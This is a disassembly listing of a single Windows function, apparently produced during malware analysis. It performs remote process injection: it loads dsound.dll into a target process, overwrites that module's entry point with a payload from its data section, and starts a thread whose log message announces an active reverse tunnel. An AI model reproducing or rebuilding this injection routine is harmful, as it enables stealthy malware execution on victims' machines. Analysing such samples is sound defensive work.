Function at 0x140001350
Capabilities:
Enumerate process modules
Link many functions at runtime

Disassembly:
push rsi
sub rsp, 0xa50
mov dword [rsp + 0xa4c], ecx
mov qword [rsp + 0xa40], 0
mov dword [rsp + 0xa3c], 0
mov qword [rsp + 0xa30], 0
mov qword [rsp + 0xa28], 0
lea rcx, [rsp + 0x9f8]
xor edx, edx
mov r8d, 0x30
call fcn.140003d00
mov dword [rsp + 0x9f8], 0x30
mov eax, dword [rsp + 0xa4c]
mov qword [rsp + 0x9e8], rax
mov qword [rsp + 0x9f0], 0
lea rcx, str._i__populating_function_prototypes_n
call fcn.140001db0
lea rcx, [0x14001a4b2]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0xa40], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x9e0], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x9d8], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x9d0], rax
mov rcx, qword [rsp + 0xa40]
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x9c8], rax
mov qword [rsp + 0x9c0], 0
mov qword [rsp + 0x9b8], 0
lea rcx, [rsp + 0x970]
lea rdx, str.C:windows_system32dsound.dll
mov r8d, 0x3e
call fcn.1400040c0
lea rcx, [rsp + 0x170]
xor edx, edx
mov r8d, 0x800
call fcn.140003d00
mov qword [rsp + 0x168], 0x3e
mov dword [rsp + 0x164], 0x800
mov dword [rsp + 0x160], 0
mov dword [rsp + 0x15c], 0
mov qword [rsp + 0x150], 0
lea rcx, [rsp + 0xd0]
xor edx, edx
mov r8d, 0x80
call fcn.140003d00
mov qword [rsp + 0xc8], 0
lea rcx, section..data
mov edx, 0x1ff
mov r8d, 0x4b
call section..text
lea rcx, [rsp + 0x9c0]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
lea r9, [rsp + 0x9e8]
call qword [rsp + 0x9e0]
mov rax, qword [rsp + 0x9d8]
mov rcx, qword [rsp + 0x9c0]
lea rdx, [rsp + 0x9b8]
xor r8d, r8d
lea r9, [rsp + 0x168]
mov dword [rsp + 0x20], 0x1000
mov dword [rsp + 0x28], 4
call rax
mov rax, qword [rsp + 0x9d0]
mov r9, qword [rsp + 0x168]
lea r8, [rsp + 0x970]
mov rdx, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x9c0]
xor r10d, r10d
mov qword [rsp + 0x20], 0
call rax
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x9c8]
mov r10, qword [rsp + 0x9b8]
mov r11, qword [rsp + 0xc0]
mov r9, qword [rsp + 0x9c0]
lea rcx, [rsp + 0xb8]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
xor esi, esi
xor esi, esi
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call rax
mov rcx, qword [rsp + 0xb8]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8d, dword [rsp + 0x164]
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x9c0]
lea r9, [rsp + 0x160]
call sub.KERNEL32.dll_K32EnumProcessModules
mov eax, dword [rsp + 0x160]
shr rax, 3
mov qword [rsp + 0x150], rax
mov qword [rsp + 0xb0], 0
mov rax, qword [rsp + 0xb0]
cmp rax, qword [rsp + 0x150]
jae 0x140001771
mov rax, qword [rsp + 0xb0]
mov rax, qword [rsp + rax*8 + 0x170]
mov qword [rsp + 0xc8], rax
lea r8, [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x9c0]
mov r9d, 0x80
call sub.KERNEL32.dll_K32GetModuleBaseNameA
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x90]
call fcn.140001e20
lea rcx, [rsp + 0x90]
lea rdx, str.dsound.dll
call fcn.140001ea0
mov dword [rsp + 0x64], eax
lea rcx, [rsp + 0x90]
call fcn.140001f10
mov eax, dword [rsp + 0x64]
cmp eax, 0
jne 0x140001753
mov rax, qword [rsp + 0xb0]
mov r8, qword [rsp + rax*8 + 0x170]
lea rdx, [rsp + 0xd0]
lea rcx, str.___Remote_Module_Name:__s_at__p_n
call fcn.140001db0
jmp 0x140001771
jmp 0x140001758
mov rax, qword [rsp + 0xb0]
add rax, 1
mov qword [rsp + 0xb0], rax
jmp 0x140001692
mov dword [rsp + 0x8c], 0x1000
mov eax, dword [rsp + 0x8c]
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x8c]
mov r9d, eax
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x9c0]
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xc8]
add rax, rcx
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.___Address_of_dllEtry:__p__n
call fcn.140001db0
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x9c0]
lea r8, section..data
mov r9d, 0x200
xor eax, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x9c8]
mov r10, qword [rsp + 0x68]
mov r9, qword [rsp + 0x9c0]
lea rcx, [rsp + 0xa28]
mov edx, 0x1fffff
lea r8, [rsp + 0x9f8]
xor r11d, r11d
xor r11d, r11d
mov qword [rsp + 0x20], r10
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call rax
mov dword [rsp + 0xa3c], eax
cmp dword [rsp + 0xa3c], 0
je 0x1400018ef
mov edx, dword [rsp + 0xa3c]
lea rcx, str.____failed_to_create_thread__error:_0x_lx_n
call fcn.140001db0
jmp 0x1400018fb
lea rcx, str.___thread_created__the_Reverse_Tunnelling_is_active_n
call fcn.140001db0
xor eax, eax
add rsp, 0xa50
pop rsi
ret